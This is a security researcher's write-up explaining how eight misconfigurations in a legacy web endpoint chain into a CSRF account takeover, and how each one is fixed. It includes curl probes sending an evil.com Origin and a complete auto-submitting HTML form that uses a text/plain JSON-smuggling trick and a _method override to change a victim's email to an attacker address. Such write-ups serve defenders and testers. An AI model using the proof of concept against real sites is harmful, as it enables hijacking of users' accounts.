October 25, 2026
Eight Doors, One Key: Chaining Misconfigurations into Full Account Takeover
How a textbook-secure application, CSRF tokens, SameSite cookies, strict CORS, and a WAF, fell to a single HTML file

By Atif Waheed
17 min read
Introduction
Every defense in this target looked correct in isolation. CSRF tokens were present on every request. Session cookies carried Secure and HttpOnly. CORS reflected only same-origin requests. A WAF sat in front of the whole stack. If you'd asked me to bet on whether CSRF was exploitable here, I'd have said no, and I'd have been wrong.
This is the story of how eight individually unremarkable misconfigurations chained into a one-click, zero-interaction account takeover. None of them is exotic. Each one, on its own, shows up in automated scanner output as "informational," or gets closed in triage as "not exploitable given other controls." Together, they were full ATO.
If you do web app pentesting or bug bounty hunting, the real lesson isn't the specific bug, it's the mindset: modern CSRF defenses are a stack, not a single control, and an attacker only needs the weakest layer. When you see CSRF tokens, don't stop; check whether they're actually validated server-side. When you see SameSite=Lax on one app, check whether a sibling app (legacy frontend, mobile API, partner portal) uses looser settings on the same cookies. When CORS blocks you, ask whether the request even needs a preflight in the first place. And when a WAF sits in front of everything, remember it's pattern-matching known attack signatures, not reasoning about your business logic.
The target surface
The application exposed two separate frontends against the same backend:
- A modern Next.js BFF (Backend-for-Frontend), tightly configured:
SameSite=Laxcookies, strict CORS, CSRF tokens validated on every mutating request. - A legacy AngularJS application, still live for backward compatibility, proxied under
/legacy/.
This pattern, a hardened new frontend sitting next to a half-retired legacy one, is extremely common in enterprise environments mid-migration. Security teams harden what they're actively building and deprioritize what's "being phased out." That legacy surface often shares the same backend, the same session cookies, and the same user data as the new app, meaning a vulnerability there carries exactly the same blast radius as one in the flagship product. Legacy endpoints are a high-value hunting ground precisely because they get less review attention while retaining full privilege.
The target endpoint
PUT /legacy/rest/v2/user HTTP/1.1
Host: target.example
Content-Type: application/json
X-CSRF-Token: <stok value>
Cookie: JSESSIONID=...; deh=...
{"eMailAddress":"user@example.com","firstName":"John","lastName":"Doe"PUT /legacy/rest/v2/user HTTP/1.1
Host: target.example
Content-Type: application/json
X-CSRF-Token: <stok value>
Cookie: JSESSIONID=...; deh=...
{"eMailAddress":"user@example.com","firstName":"John","lastName":"Doe"This endpoint updates profile fields, including email. Critically:
- The email change is applied instantly. No confirmation link sent to the new address.
- No notification goes to the old address.
- No password re-entry or second factor is required.
eMailAddressVerifiedsilently flips toFalse, but that flag gates nothing downstream.- The password reset flow trusts this field. Whoever controls the email on the account controls password reset, and therefore the account.
This is the kind of endpoint worth prioritizing in any assessment: anything that changes the recovery or contact email, adds an SSH key, adds an API token, or changes MFA settings is a "crown jewel" mutation. Spend disproportionate time attacking anything in this category before moving on to lower-impact functionality.
Breaking the chain, link by link
Misconfiguration 1: CSRF token present but not validated
The frontend diligently sent X-CSRF-Token derived from a stok cookie, a classic double-submit cookie pattern, where a token is mirrored in both a cookie and a header or body field, and the server is supposed to confirm they match (since a cross-origin attacker can't read your cookies to forge a matching header).
I dropped the header entirely:
PUT /legacy/rest/v2/user HTTP/1.1
Cookie: JSESSIONID=...; deh=...
{"eMailAddress":"no-csrf-token@test.com"}PUT /legacy/rest/v2/user HTTP/1.1
Cookie: JSESSIONID=...; deh=...
{"eMailAddress":"no-csrf-token@test.com"}200 OK. Then I sent garbage in its place, also accepted.
Why this happens in the wild. Double-submit CSRF protection is frequently implemented as a client-side convention, not a server-side contract. Someone builds the Angular interceptor that attaches the header on every $http call, ships it, and the team mentally checks the "CSRF protection" box, while nobody writes the backend filter that actually rejects requests missing or mismatching the token. A very plausible root cause on Spring-based backends looks like this:
java
// Global CSRF protection is enabled by default...
@Configuration
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.csrf(csrf -> csrf
.ignoringRequestMatchers("/legacy/**")
);
return http.build();
}
}// Global CSRF protection is enabled by default...
@Configuration
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.csrf(csrf -> csrf
.ignoringRequestMatchers("/legacy/**")
);
return http.build();
}
}That single .ignoringRequestMatchers("/legacy/**") line disables CSRF enforcement for the entire legacy path prefix, including an endpoint that changes account recovery email. This is worth actively hunting for on any target: when CSRF protection is inconsistent across an app's endpoints, the inconsistency is very often a URL-pattern exclusion rule sitting in a security config, added once as a temporary unblock during a migration and never revisited.
The fix is equally simple:
http.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
);http.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
);Testing tip. Never assume a CSRF token is validated just because it's present in requests. Always test: omit it entirely, send an empty string, send another valid user's token, send a stale or expired token. Automated scanners frequently miss this because they see the token being sent and tag the endpoint "protected."
Misconfiguration 2: SameSite=None on session cookies
Even with CSRF validation broken, the attack still needs the browser to attach session cookies to a cross-origin request. Since 2020, Chrome and most major browsers default cookies to SameSite=Lax, which blocks cookies on cross-site requests that aren't top-level navigations with safe methods. That alone kills most classic CSRF.
But this app explicitly overrode the default:
Set-Cookie: JSESSIONID=...; Path=/legacy; Secure; HttpOnly; SameSite=None
Set-Cookie: deh=...; Path=/legacy; HttpOnly; Secure; SameSite=NonSet-Cookie: JSESSIONID=...; Path=/legacy; Secure; HttpOnly; SameSite=None
Set-Cookie: deh=...; Path=/legacy; HttpOnly; Secure; SameSite=NonSameSite=None tells the browser to send this cookie on every request, cross-origin or not, as long as it's HTTPS. Platforms set this deliberately when the app needs to function inside third-party iframes (embedded widgets, SSO flows, partner integrations), since SameSite=Lax or Strict cookies don't survive the iframe context, so teams loosen the policy to keep the embed working. A typical example of the server-side code making that decision:
java
Cookie session = new Cookie("JSESSIONID", sessionId);
session.setHttpOnly(true);
session.setSecure(true);
session.setPath("/legacy");
response.addHeader("Set-Cookie",
String.format("%s=%s; Path=%s; HttpOnly; Secure; SameSite=None",
session.getName(), session.getValue(), session.getPath()));Cookie session = new Cookie("JSESSIONID", sessionId);
session.setHttpOnly(true);
session.setSecure(true);
session.setPath("/legacy");
response.addHeader("Set-Cookie",
String.format("%s=%s; Path=%s; HttpOnly; Secure; SameSite=None",
session.getName(), session.getValue(), session.getPath()));Why this happens in the wild. SameSite=None is usually a legitimate, deliberate decision for one specific use case, but it gets applied at the cookie level, not the endpoint level. The browser has no concept of "send this cookie cross-origin only for the embed flow, but not for this other mutating endpoint." Once SameSite=None is set, every endpoint reachable with that cookie inherits the cross-origin exposure, including ones the team never intended to expose that way.
One small, honest caveat worth noting: both cookies also carried Path=/legacy, which is a weak, incidental scoping control, since it limits where the cookie is sent at all. It didn't matter here, since the vulnerable endpoint lives under /legacy itself, but it's a detail worth acknowledging rather than glossing over.
Testing tip. Always check Set-Cookie headers across every subdomain and path prefix the app serves, not just the main login response. Teams often harden the primary domain's cookies while a legacy path, an embedded-widget subdomain, or an internal API carries looser settings on the same session identifier.
Misconfiguration 3: No Origin or Referer validation
This is the one that, in hindsight, should have stopped everything else cold, and its absence is worth calling out as its own distinct finding rather than a footnote.
Every single forged request in this chain carried an Origin header pointing straight at the attacker's domain:
Origin: https://evil.com
Referer: https://evil.com/poc.htmlOrigin: https://evil.com
Referer: https://evil.com/poc.htmlThe OWASP CSRF Prevention Cheat Sheet recommends server-side Origin or Referer validation explicitly as a defense-in-depth layer, a check that exists precisely to catch the scenario where token-based CSRF protection fails or is missing on a given endpoint, as happened here. A minimal server-side filter would have caught this entire chain regardless of what happened with tokens, cookies, or content types:
public class OriginCheckFilter extends OncePerRequestFilter {
private static final Set<String> ALLOWED_ORIGINS = Set.of(
"https://app.target.example",
"https://target.example"
);
@Override
protected void doFilterInternal(HttpServletRequest request,
HttpServletResponse response,
FilterChain chain)
throws ServletException, IOException {
if (isStateChanging(request.getMethod())) {
String origin = request.getHeader("Origin");
String referer = request.getHeader("Referer");
boolean trusted =
(origin != null && ALLOWED_ORIGINS.contains(origin)) ||
(origin == null && referer != null &&
ALLOWED_ORIGINS.stream().anyMatch(referer::startsWith));
if (!trusted) {
response.sendError(HttpServletResponse.SC_FORBIDDEN,
"Origin not allowed");
return;
}
}
chain.doFilter(request, response);
}
private boolean isStateChanging(String method) {
return Set.of("POST", "PUT", "PATCH", "DELETE").contains(method);
}
}public class OriginCheckFilter extends OncePerRequestFilter {
private static final Set<String> ALLOWED_ORIGINS = Set.of(
"https://app.target.example",
"https://target.example"
);
@Override
protected void doFilterInternal(HttpServletRequest request,
HttpServletResponse response,
FilterChain chain)
throws ServletException, IOException {
if (isStateChanging(request.getMethod())) {
String origin = request.getHeader("Origin");
String referer = request.getHeader("Referer");
boolean trusted =
(origin != null && ALLOWED_ORIGINS.contains(origin)) ||
(origin == null && referer != null &&
ALLOWED_ORIGINS.stream().anyMatch(referer::startsWith));
if (!trusted) {
response.sendError(HttpServletResponse.SC_FORBIDDEN,
"Origin not allowed");
return;
}
}
chain.doFilter(request, response);
}
private boolean isStateChanging(String method) {
return Set.of("POST", "PUT", "PATCH", "DELETE").contains(method);
}
}It's cheap to implement and doesn't depend on any cookie attribute or body-parsing behavior, which makes it resilient to exactly the kind of content-type and method-override tricks used later in this chain. The server here never looked at either header. Had it rejected requests whose Origin didn't match target.example, misconfigurations 1, 2, 4, and 5 would have been irrelevant, since the request would have been rejected before any of them mattered.
Testing tip. When you find a CSRF-able endpoint, always check in your traffic capture whether Origin and Referer are present and whether the server's behavior changes when you alter or strip them. A quick way to probe this with curl:
curl -i -X PUT https://target.example/legacy/rest/v2/user \
-H "Origin: https://evil.com" \
-H "Content-Type: application/json" \
-b "JSESSIONID=<session>; deh=<session>" \
-d '{"eMailAddress":"origin-test@test.com"}'curl -i -X PUT https://target.example/legacy/rest/v2/user \
-H "Origin: https://evil.com" \
-H "Content-Type: application/json" \
-b "JSESSIONID=<session>; deh=<session>" \
-d '{"eMailAddress":"origin-test@test.com"}'If the response is identical regardless of what Origin says, you've confirmed a second, independent gap, not just a restatement of the token issue.
The CORS wall
At this point: broken CSRF validation, cookies that travel cross-origin, and no Origin check as a backstop. That should already be enough, except CORS is still technically in the way. Sending Content-Type: application/json cross-origin triggers a CORS preflight (OPTIONS), and the server only reflects Access-Control-Allow-Origin for same-origin requests. Preflight fails, browser never sends the real request.
This is the point where a lot of testers stop and move on. It's also where it pays to actually know the spec instead of just the general shape of "CORS blocks cross-origin."
CORS preflighting is only triggered by non-simple requests. The Fetch Standard defines a small set of CORS-safelisted content types that are exempt:
application/x-www-form-urlencodedmultipart/form-datatext/plain
If an endpoint will process a body sent under one of these, the browser classifies it as a simple request: no preflight, sent directly, cookies and all. CORS was never designed to stop this; the entire mechanism exists to protect against unauthorized reading of cross-origin responses, not unauthorized submission of cross-origin requests with side effects. That distinction is the crux of the whole exploit class: CORS is a response-confidentiality control, not a request-integrity control. Plain <form> POSTs have always been able to hit any endpoint cross-origin; CORS just stops JavaScript from reading back what happened. If the endpoint mutates state as a side effect of being hit, and doesn't separately validate CSRF or Origin, CORS buys you nothing.
Misconfiguration 4: text/plain parsed as JSON
PUT /legacy/rest/v2/user HTTP/1.1
Content-Type: text/plain
{"eMailAddress":"textplain@test.com"}PUT /legacy/rest/v2/user HTTP/1.1
Content-Type: text/plain
{"eMailAddress":"textplain@test.com"}200 OK. Email changed.
The server didn't care that the declared content type was text/plain, it looked at the body, recognized JSON, and parsed it. This is a well-known behavior in Java/Spring stacks using permissive HttpMessageConverter chains, and it's often caused by a converter registered to accept a broader media type range than it should:
@Bean
public MappingJackson2HttpMessageConverter jacksonConverter() {
MappingJackson2HttpMessageConverter converter =
new MappingJackson2HttpMessageConverter();
converter.setSupportedMediaTypes(List.of(
MediaType.APPLICATION_JSON,
MediaType.TEXT_PLAIN
));
return converter;
}@Bean
public MappingJackson2HttpMessageConverter jacksonConverter() {
MappingJackson2HttpMessageConverter converter =
new MappingJackson2HttpMessageConverter();
converter.setSupportedMediaTypes(List.of(
MediaType.APPLICATION_JSON,
MediaType.TEXT_PLAIN
));
return converter;
}or, just as commonly, a hand-rolled fallback parser sitting ahead of the framework's content negotiation:
@PutMapping("/legacy/rest/v2/user")
public ResponseEntity<?> updateUser(@RequestBody String rawBody) {
// Ignores the declared Content-Type entirely and
// just tries to parse whatever arrived as JSON.
UserUpdateRequest req = objectMapper.readValue(rawBody, UserUpdateRequest.class);
userService.update(req);
return ResponseEntity.ok(req);
}@PutMapping("/legacy/rest/v2/user")
public ResponseEntity<?> updateUser(@RequestBody String rawBody) {
// Ignores the declared Content-Type entirely and
// just tries to parse whatever arrived as JSON.
UserUpdateRequest req = objectMapper.readValue(rawBody, UserUpdateRequest.class);
userService.update(req);
return ResponseEntity.ok(req);
}The underlying cause is almost always the same: a developer wanted the API to be forgiving of clients that forget to set Content-Type correctly, and implemented "if it looks like JSON, parse it as JSON" instead of strictly enforcing the declared type. The fix is to bind the endpoint to a converter that enforces consumes:
@PutMapping(value = "/legacy/rest/v2/user", consumes = MediaType.APPLICATION_JSON_VALUE)
public ResponseEntity<?> updateUser(@RequestBody UserUpdateRequest req) {
userService.update(req);
return ResponseEntity.ok(req);
}@PutMapping(value = "/legacy/rest/v2/user", consumes = MediaType.APPLICATION_JSON_VALUE)
public ResponseEntity<?> updateUser(@RequestBody UserUpdateRequest req) {
userService.update(req);
return ResponseEntity.ok(req);
}With consumes set strictly to application/json, a request sent as text/plain gets rejected with 415 Unsupported Media Type before it ever reaches application logic.
That leniency is the vulnerability. It means the Content-Type header is now purely cosmetic from the browser's perspective: you can tell the browser "this is a CORS-safe simple request" while telling the server "but parse it as structured JSON anyway." The two parties disagree about what the request is, and that disagreement is exactly the gap CORS falls into.
Testing tip. For every JSON-consuming endpoint, retest with Content-Type: text/plain and multipart/form-data and see if the body still parses:
curl -i -X PUT https://target.example/legacy/rest/v2/user \
-H "Content-Type: text/plain" \
-b "JSESSIONID=<session>; deh=<session>" \
-d '{"eMailAddress":"textplain-test@test.com"}'curl -i -X PUT https://target.example/legacy/rest/v2/user \
-H "Content-Type: text/plain" \
-b "JSESSIONID=<session>; deh=<session>" \
-d '{"eMailAddress":"textplain-test@test.com"}'This is cheap, fast, and catches an entire class of CORS-preflight bypasses that automated scanners routinely miss because they only vary payloads, not Content-Type.
Misconfiguration 5: HTTP method override
One obstacle left: HTML forms can only emit GET or POST. The endpoint is PUT. Even with everything else broken, a plain form submission sends POST /legacy/rest/v2/user, which either 404s, 405s, or hits an unrelated handler.
POST /legacy/rest/v2/user?_method=PUT HTTP/1.1
Content-Type: text/plain
{"eMailAddress":"method-override@test.com"}POST /legacy/rest/v2/user?_method=PUT HTTP/1.1
Content-Type: text/plain
{"eMailAddress":"method-override@test.com"}200 OK, the server read _method=PUT and internally re-routed the POST as a PUT. In Spring, this is typically enabled with a single filter bean:
@Bean
public HiddenHttpMethodFilter hiddenHttpMethodFilter() {
// Reads ?_method=PUT (or X-HTTP-Method-Override) and
// rewrites the effective HTTP method before routing.
return new HiddenHttpMethodFilter();
}@Bean
public HiddenHttpMethodFilter hiddenHttpMethodFilter() {
// Reads ?_method=PUT (or X-HTTP-Method-Override) and
// rewrites the effective HTTP method before routing.
return new HiddenHttpMethodFilter();
}Method override (_method query param, X-HTTP-Method-Override header) dates back to an era when not all HTTP clients, proxies, and browsers reliably supported PUT, DELETE, or PATCH. Rails (_method), Spring (HiddenHttpMethodFilter), and many other frameworks ship it as an opt-in convenience, and it's frequently left enabled long after the compatibility reason for it has disappeared, because nobody thinks to revisit it. It's rarely flagged in review because it looks like harmless REST tooling, not an access control mechanism. But functionally, it collapses the HTTP verb space: any endpoint behind any verb becomes reachable via a plain POST, which is exactly the one verb a raw HTML form can forge cross-origin.
The server also accepted X-HTTP-Method-Override as a header, but headers (other than a small CORS-safelisted set) trigger preflight, so the query-string variant is the one that actually matters for exploitation here. Not every bypass vector is equally useful for CSRF; only the ones compatible with simple requests are.
Testing tip. Always test whether _method, X-HTTP-Method-Override, or X-Method-Override are honored on REST APIs, especially ones built on Rails, Spring, Laravel, or similar frameworks:
curl -i -X POST "https://target.example/legacy/rest/v2/user?_method=PUT" \
-H "Content-Type: text/plain" \
-b "JSESSIONID=<session>; deh=<session>" \
-d '{"eMailAddress":"method-override-test@test.com"}'curl -i -X POST "https://target.example/legacy/rest/v2/user?_method=PUT" \
-H "Content-Type: text/plain" \
-b "JSESSIONID=<session>; deh=<session>" \
-d '{"eMailAddress":"method-override-test@test.com"}'If this is honored, your attack surface for CSRF expands from "GET/POST endpoints" to "every endpoint in the API."
Misconfiguration 6: No step-up authentication
Per NIST SP 800โ63B ยง4.3 and the newer RFC 9470 (OAuth 2.0 Step-Up Authentication Challenge Protocol), security-critical operations, changing a recovery email, resetting MFA, adding a payment method, should require re-proof of presence: a fresh password, a TOTP code, a WebAuthn touch. This endpoint required none of it. A live session cookie was sufficient to change the single most security-relevant field on the account. A reasonable version of what's missing looks like this:
@PutMapping(value = "/legacy/rest/v2/user", consumes = MediaType.APPLICATION_JSON_VALUE)
public ResponseEntity<?> updateUser(@RequestBody UserUpdateRequest req,
@RequestHeader("X-Reauth-Token") String reauthToken,
HttpSession session) {
if (req.getEMailAddress() != null) {
// Changing the recovery email is sensitive: require a fresh
// re-authentication token, issued within the last few minutes,
// not just a valid long-lived session cookie.
if (!reauthService.isRecentlyVerified(session, reauthToken)) {
return ResponseEntity.status(401).body("Re-authentication required");
}
}
userService.update(req);
return ResponseEntity.ok(req);
}@PutMapping(value = "/legacy/rest/v2/user", consumes = MediaType.APPLICATION_JSON_VALUE)
public ResponseEntity<?> updateUser(@RequestBody UserUpdateRequest req,
@RequestHeader("X-Reauth-Token") String reauthToken,
HttpSession session) {
if (req.getEMailAddress() != null) {
// Changing the recovery email is sensitive: require a fresh
// re-authentication token, issued within the last few minutes,
// not just a valid long-lived session cookie.
if (!reauthService.isRecentlyVerified(session, reauthToken)) {
return ResponseEntity.status(401).body("Re-authentication required");
}
}
userService.update(req);
return ResponseEntity.ok(req);
}Step-up auth is the control that should have independently stopped this entire chain even if CSRF, Origin validation, CORS, and content-type handling were all airtight. It's the kind of defense-in-depth measure that specifically exists to limit blast radius when something upstream fails, and here, nothing upstream was checking it was needed.
Misconfiguration 7: No email verification loop
The new email takes effect immediately. eMailAddressVerified flips to False, but that flag is cosmetic if nothing reads it. The password reset flow sent its link to whatever address currently sat in that field, verified or not. No confirmation email went to the old address either, which is the control that would have given the real user a chance to notice and react.
The OWASP Account Takeover Prevention Cheat Sheet is explicit about this pattern. A safer flow looks closer to this:
public void requestEmailChange(User user, String newEmail) {
String token = tokenService.generate();
pendingEmailChanges.save(user.getId(), newEmail, token, Instant.now().plus(Duration.ofHours(1)));
mailer.send(newEmail, "Confirm your new email", confirmLink(token));
mailer.send(user.getCurrentEmail(), "Your email change was requested",
"If this wasn't you, secure your account now.");
}
public void confirmEmailChange(String token) {
PendingChange change = pendingEmailChanges.consume(token)
.orElseThrow(() -> new InvalidTokenException());
userService.setEmail(change.getUserId(), change.getNewEmail());
}public void requestEmailChange(User user, String newEmail) {
String token = tokenService.generate();
pendingEmailChanges.save(user.getId(), newEmail, token, Instant.now().plus(Duration.ofHours(1)));
mailer.send(newEmail, "Confirm your new email", confirmLink(token));
mailer.send(user.getCurrentEmail(), "Your email change was requested",
"If this wasn't you, secure your account now.");
}
public void confirmEmailChange(String token) {
PendingChange change = pendingEmailChanges.consume(token)
.orElseThrow(() -> new InvalidTokenException());
userService.setEmail(change.getUserId(), change.getNewEmail());
}Email changes should require the new address to confirm via a link before it becomes authoritative, and notify the old address regardless, specifically to catch exactly this kind of attack in progress.
Misconfiguration 8: No session invalidation after a sensitive change
The last gap, and an easy one to overlook: after the email changed, the victim's existing session stayed fully alive. Nothing forced re-authentication, and no other active sessions were invalidated.
This matters more than it looks like at first glance, because of what it means for attacker timing. Without session invalidation, the attacker doesn't need to race the victim or act within some narrow window; they can let the victim keep using the app completely undisturbed, with no visible sign anything happened, while separately triggering a password reset to the now-hijacked address at their own leisure. A minimal mitigation:
public void onEmailChanged(Long userId) {
userService.markEmailChanged(userId);
// Force everyone except the request that just made this
// change to re-authenticate.
sessionRegistry.invalidateAllExcept(userId, currentSessionId());
mailer.send(user.getPreviousEmail(), "Your account email just changed");
}public void onEmailChanged(Long userId) {
userService.markEmailChanged(userId);
// Force everyone except the request that just made this
// change to re-authenticate.
sessionRegistry.invalidateAllExcept(userId, currentSessionId());
mailer.send(user.getPreviousEmail(), "Your account email just changed");
}Forcing re-authentication, or at minimum invalidating other active sessions, whenever a recovery-critical field changes is a standard control, touched on in NIST 800โ63B's guidance on session management following credential or authenticator changes, and its absence here is what turns a narrow exploitation window into an indefinite one.
Why the WAF didn't help
It's worth circling back to the WAF mentioned at the very top, because its silence here is itself a useful lesson, not just an incidental detail.
WAFs work primarily by pattern-matching request content against signatures for known attack classes: SQL injection syntax, XSS payloads, path traversal sequences, known exploit strings for CVEs, and so on. What they are generally not built to reason about is business logic: whether this request, from this origin, to this endpoint, with a session cookie belonging to this user, represents a legitimate action.
The final exploit request is, from a pure pattern-matching standpoint, almost perfectly unremarkable:
POST /legacy/rest/v2/user?_method=PUT HTTP/1.1
Content-Type: text/plain
Cookie: JSESSIONID=<valid session>; deh=<valid session>
{"eMailAddress":"attacker@evil.com","x":"="}POST /legacy/rest/v2/user?_method=PUT HTTP/1.1
Content-Type: text/plain
Cookie: JSESSIONID=<valid session>; deh=<valid session>
{"eMailAddress":"attacker@evil.com","x":"="}There's no SQL syntax, no script tags, no traversal sequences, no known malicious signature anywhere in it. The body is syntactically valid, boring JSON. The session cookie is completely legitimate, it's the victim's own. The only thing wrong with the request is context: it originated from evil.com, and no control downstream of the WAF ever checked that context. A WAF sitting in front of this traffic has nothing to flag. This is a clean, real-world illustration of a point worth internalizing for both attackers and defenders: WAFs are not a substitute for CSRF protection, Origin validation, or authorization logic. They catch malicious payloads; they don't catch malicious contexts, and CSRF is fundamentally a context problem, the request itself is perfectly well-formed, it's just coming from somewhere it shouldn't be trusted from.
The chain, end to end
#MisconfigurationWhat it defeats1CSRF token sent, not validated server-sidePrimary CSRF defense2SameSite=None on session cookiesBrowser's built-in CSRF mitigation3No Origin/Referer validationDefense-in-depth CSRF backstop4text/plain parsed as JSONCORS preflight requirement5_method=PUT overrideHTML form's GET/POST-only limitation6No step-up authenticationDefense-in-depth for sensitive actions7No email verification / no old-email noticeBlast-radius containment, victim awareness8No session invalidation after sensitive changeAttacker's exploitation time window
Break any single link and the exploit either stops working or shrinks dramatically in impact. That's the property that makes this worth a full writeup rather than eight separate low-severity tickets: no individual finding here would score above "Medium" on its own in most bug bounty triage. The severity lives entirely in the composition.
Proof of Concept
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<h1>Please wait...</h1>
<form id="csrf"
action="https://target.example/legacy/rest/v2/user?_method=PUT"
method="POST"
enctype="text/plain">
<input type="hidden"
name='{"eMailAddress":"attacker@evil.com","x":"'
value='"}'>
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html><!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<h1>Please wait...</h1>
<form id="csrf"
action="https://target.example/legacy/rest/v2/user?_method=PUT"
method="POST"
enctype="text/plain">
<input type="hidden"
name='{"eMailAddress":"attacker@evil.com","x":"'
value='"}'>
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>The text/plain form-encoding trick
This is the part of the PoC that tends to confuse people the first time they see it, so it's worth walking through carefully.
When a browser serializes a <form enctype="text/plain">, it doesn't JSON-encode anything, it just writes name=value pairs, one per line, literally. Normally that produces garbage from a JSON parser's perspective. But if you choose the field name and value carefully, you can make the browser's plain name=value concatenation land exactly on valid JSON syntax:
name: {"eMailAddress":"attacker@evil.com","x":"
value: "}name: {"eMailAddress":"attacker@evil.com","x":"
value: "}You can verify this encoding behavior yourself in a browser console without even touching the target:
const form = document.createElement('form');
form.enctype = 'text/plain';
const input = document.createElement('input');
input.name = '{"eMailAddress":"attacker@evil.com","x":"';
input.value = '"}';
form.appendChild(input);
// This mirrors what the browser sends as the body:
console.log(`${input.name}=${input.value}`);
// {"eMailAddress":"attacker@evil.com","x":"="}const form = document.createElement('form');
form.enctype = 'text/plain';
const input = document.createElement('input');
input.name = '{"eMailAddress":"attacker@evil.com","x":"';
input.value = '"}';
form.appendChild(input);
// This mirrors what the browser sends as the body:
console.log(`${input.name}=${input.value}`);
// {"eMailAddress":"attacker@evil.com","x":"="}Concatenated by the browser as name=value:
{"eMailAddress":"attacker@evil.com","x":"="}{"eMailAddress":"attacker@evil.com","x":"="}The = character the browser inserts between name and value doesn't break anything, it lands inside the string value of the "x" property, which the server-side JSON parser treats as an arbitrary ignored field. The attacker-controlled eMailAddress value sits cleanly inside its own properly-quoted string, untouched by the encoding mechanics. This is a now well-documented technique for smuggling attacker-controlled JSON through a form's text/plain encoding, but it only works because of misconfiguration 4. If the server actually enforced Content-Type: application/json, this entire construction would be rejected outright regardless of how clever the encoding is.
What the server actually receives
POST /legacy/rest/v2/user?_method=PUT HTTP/1.1
Host: target.example
Content-Type: text/plain
Origin: https://evil.com
Referer: https://evil.com/poc.html
Cookie: JSESSIONID=<victim-session>; deh=<victim-session>
{"eMailAddress":"attacker@evil.com","x":"="}
{
"eMailAddress": "attacker@evil.com",
"eMailAddressVerified": "False"
}POST /legacy/rest/v2/user?_method=PUT HTTP/1.1
Host: target.example
Content-Type: text/plain
Origin: https://evil.com
Referer: https://evil.com/poc.html
Cookie: JSESSIONID=<victim-session>; deh=<victim-session>
{"eMailAddress":"attacker@evil.com","x":"="}
{
"eMailAddress": "attacker@evil.com",
"eMailAddressVerified": "False"
}Note the Origin: https://evil.com header is right there in the request, completely unvalidated (misconfiguration 3). That's really the whole story in one line. CORS governs whether JavaScript on evil.com is allowed to read the response. It says nothing about whether the browser is allowed to send the request. Simple requests are sent unconditionally; the Access-Control-Allow-Origin response header only determines whether the attacker's script can see what came back. Since this attack doesn't need to read the response, it's a pure state-changing side effect, CORS was never in a position to stop it, no matter how strictly it was configured.
That's the single idea worth taking away above all else: CSRF tokens, SameSite cookies, and Origin validation are the actual anti-CSRF controls. CORS is not one of them, despite how often it gets treated as if it were.
Real-world takeaways for pentesters and bug hunters
- Never trust a CSRF token just because you see it in traffic. Strip it, mangle it, replay a different user's token. If the server still responds
200, the token generation exists but the validation doesn't. - Enumerate cookie attributes across every subdomain and path prefix, not just the main app. Legacy paths, embedded widgets, and partner-facing subdomains frequently carry looser
SameSite/Securesettings on the same session cookie used elsewhere. - Check for Origin/Referer validation independently of CSRF tokens. An endpoint can fail its token check and still be saved by a server-side Origin allowlist, or vice versa. Test both, and don't assume one implies the other.
- Always retest JSON endpoints with
text/plainandmultipart/form-data. This is cheap, fast, and catches an entire class of CORS-preflight bypasses that automated scanners routinely miss because they only vary payloads, notContent-Type. - Check for method override support (
_method,X-HTTP-Method-Override,X-Method-Override) on any framework known to support it (Rails, Spring, Laravel, legacy Express middlewares). It turns your CSRF surface from "GET/POST only" into "every verb." - Prioritize endpoints that touch account recovery: email, phone, MFA, SSH/API keys, password. These deserve disproportionate attention because their blast radius is "full account takeover," not just "one field changed."
- Remember what CORS actually protects. It is a confidentiality boundary on response bodies for JS-initiated requests, not an integrity boundary on request submission. State-changing simple requests sail through it by design.
- Don't assume a WAF is a meaningful barrier to business-logic or CSRF-style attacks. If your exploit request contains no malicious payload syntax, just a legitimate-looking body from an illegitimate origin, a signature-based WAF has nothing to key on.
- Chain low-severity findings before triaging them individually. A program might reasonably close "CSRF token not validated" as low severity if they believe
SameSitecookies are the real backstop, and close "SameSite=Nonepresent" as accepted-risk if they believe CORS blocks exploitation. Each individual triage can be locally reasonable and still collectively wrong. Always ask what stops this end to end before accepting partial mitigations as sufficient.
Remediation
For the program or vendor side, each link has a direct fix:
- Validate CSRF tokens server-side on every mutating endpoint, including legacy or deprecated ones. Don't assume token generation implies token validation.
- Scope
SameSite=Nonecookies as narrowly as possible. If it's needed for iframe embedding, consider splitting session concerns: a narrowly-scoped embed token versus the primary session cookie, so the high-privilege cookie doesn't inherit cross-origin exposure it doesn't need. - Add server-side Origin/Referer allowlisting as defense-in-depth on all state-changing endpoints, independent of token validation.
- Enforce declared
Content-Typestrictly. Reject bodies that don't match the declared type instead of auto-detecting and parsing anyway. - Disable or tightly restrict HTTP method override in production, or require it to come with the same CSRF and auth checks as the "real" verb would.
- Require step-up authentication (password re-entry, TOTP, WebAuthn) before any change to recovery email, phone, MFA settings, or credentials.
- Gate email changes behind a verification loop: new address must confirm via link before becoming authoritative; old address always receives a "your email was changed" notice regardless.
- Invalidate other active sessions (or force re-authentication) whenever a recovery-critical field changes, to cap the attacker's exploitation window.
Closing thoughts
None of these eight bugs would have made a dent alone. That's exactly why this is worth writing up in full rather than as eight separate low-severity tickets: the real finding is the chain itself, and the real skill being demonstrated is recognizing that a "fully defended" surface is only as strong as its least-reviewed component. Legacy apps, convenience features like method override, permissive parsers, and controls that exist on paper but aren't backed by server-side enforcement are where that weakest link usually lives. A WAF out front and a security-conscious new frontend next door don't change that, they just make it easier to assume the weakest link doesn't exist.
Thanks for reading.